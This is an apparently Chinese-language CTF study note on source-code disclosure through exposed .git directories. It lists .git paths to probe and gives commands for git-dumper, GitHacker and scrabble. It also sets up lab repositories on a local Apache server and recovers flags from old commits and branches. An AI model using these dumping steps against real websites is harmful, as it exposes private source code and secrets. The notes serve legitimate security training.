Git 教學文:https://backlog.com/git-tutorial/tw/intro/intro1_1.html
Git 結構:https://www.gushiciku.cn/pl/pErO/zh-tw
Git 遊戲:https://learngitbranching.js.org/?locale=zh_TW
商業 Git flow:https://gitbook.tw/chapters/gitflow/why-need-git-flow.html
../../../
,一旦重建工具沒有檢查路徑,重構資料就可以隨意覆蓋到你的正常檔案。由於 git 版本不斷更新,有些資料、目錄位置、內容可能也會改變,我把一些目前蒐集到的資訊彙整
一般來說,只要網址/.git 可以看到東西,基本上就能將程式還原,但是有時候網址輸入 /.git 會出現 403 (「無權」訪問指定的URL而非 「檔案不存在」,代表 .git 目錄可能是存在的,你可以嘗試 /.git/config,看他有沒有擋),或是用其他方式拿到 .git 的資料,例如下載 (參考資料)
網址/.git/logs/HEAD
儲存 git 的 log,可以找到歷史 commit
網址/.git/refs/heads/master
會記錄 master 的 commit hash,可以分解出該 commit 的資料
網址/.git/refs/heads
底下會放所有分支的名字資料夾
網址/.git/refs/stash
用於暫時保存 git 工作進度,可以把做到一半的東西先藏起來(stash),不要 commit 出去
git stash list
顯示 stash 內的所有內容git stash pop
把剛剛做到一半存在 stash 的資料還原網址/.git/info/packs
packs 的件提取與恢復 (比較少考)
網址/.git/index
會儲存 git add 的資料
./scrabble <有 .git 洩漏的網址>
ls -al
cat <你找到的 flag 檔案>
git reset --hard HEAD^
ls -al
cat <找到的 flag 檔案>
git log --stat
git log --all
git diff HEAD <commit 的 id>
git branch -v
githacker —-url <網址/.git> —folder <git還原出來的檔案儲存位置>
cd <儲存位置>
git checkout <會看到分支名字>
cat <檔案>
# 下載 git dumper 工具
git clone https://github.com/arthaud/git-dumper
# 切進下載的目錄
cd git-dumper/
# 將 requirements.txt 修改權限
chmod 755 requirements.txt
# 安裝 git dummper 需要的資料
pip install -r requirements.txt
# 使用 git-dumper 還原網站的 .git
./git-dumper.py <目標網址/.git> <還原 git 後,要儲存的地方>
# 先切到剛剛儲存的地方
cd <剛剛儲存的地方>
# 查看有什麼檔案,可以 cat 資料
ls -al
# 查看 LOG 紀錄,假設找到 add flag (這是 commit 的資訊,非新增 flag 這個檔案) 的節點,記住 07fd.....ee55
git log
# git 推回這個 07fd.....ee55 節點
git checkout 07fd3f193ca3e23fdd27383bd398e6957e82ee55
# 檢查 log 紀錄,看是否有推回到 add flag 的節點上
git log
# 查看目錄底下有哪些資料,找 flag
ls -al
Server OS: Ubuntu Server 20.04.3
安裝 Web Server:此處使用 Apache
sudo apt install apache2
建立 Git Repository:此處建立於 /var/www/html/git_1
REPO="/var/www/html/git_1"
# Create the folder
sudo mkdir "${REPO}"
# Enter the folder
cd "${REPO}"
# Take the ownership
sudo chown -R "$(whoami)" .
# Initialize Git Repo
git init
儲存 flag
echo "My flag is: FLAG{Pu8L1c_G1T_rePO_15_D4N93rOuS}" > index.php
git add index.php
git commit -m "Store Secret Flag"
將 flag 改掉
echo "You cannot see my secret now!" > index.php
git add index.php
git commit -m "Delete Secret Flag"
此處使用 Denny 大大製作的 scrabble 工具
# Download Tool
git clone https://github.com/denny0223/scrabble.git
# Create Output Folder
mkdir dump && cd dump
# Dump
../scrabble/scrabble http://172.16.28.2/git_1
查看哪個 commit 修改過儲存 flag 的檔案
git log --stat
查看修改的內容
git diff HEAD bbfc3a
建立 Git Repository:此處建立於 /var/www/html/git_2
REPO="/var/www/html/git_2"
# Create the folder
sudo mkdir "${REPO}"
# Enter the folder
cd "${REPO}"
# Take the ownership
sudo chown -R "$(whoami)" .
# Initialize Git Repo
git init
2. 建立初始 Commit
echo "My flag is: FLAG{Pu8L1c_G1T_rePO_15_D4N93rOuS}" > flag.php
git add flag.php
git commit -m "Store Secret Flag"
3. 儲存 flag 到 dev 分支
# Create and checkout to branch dev
git checkout -b dev
# Store flag
echo "My flag is: FLAG{Pu8L1c_G1T_rePO_15_D4N93rOuS}" > index.php
git add index.php
git commit -m "Store Secret Flag"
4. 切換回 master 分支,此時 index.php
中沒有東西
git checkout master
cat index.php
安裝 GitHacker
# Create virutal environment
python3 -m venv
# Enter venv
source venv/bin/activate
# Install GitHacker
pip install GitHacker
Dump
githacker --url http://172.16.28.2/git_2/.git/ --folder result
切換到 dev,拿到 flag
cd result
git checkout dev
cat index.php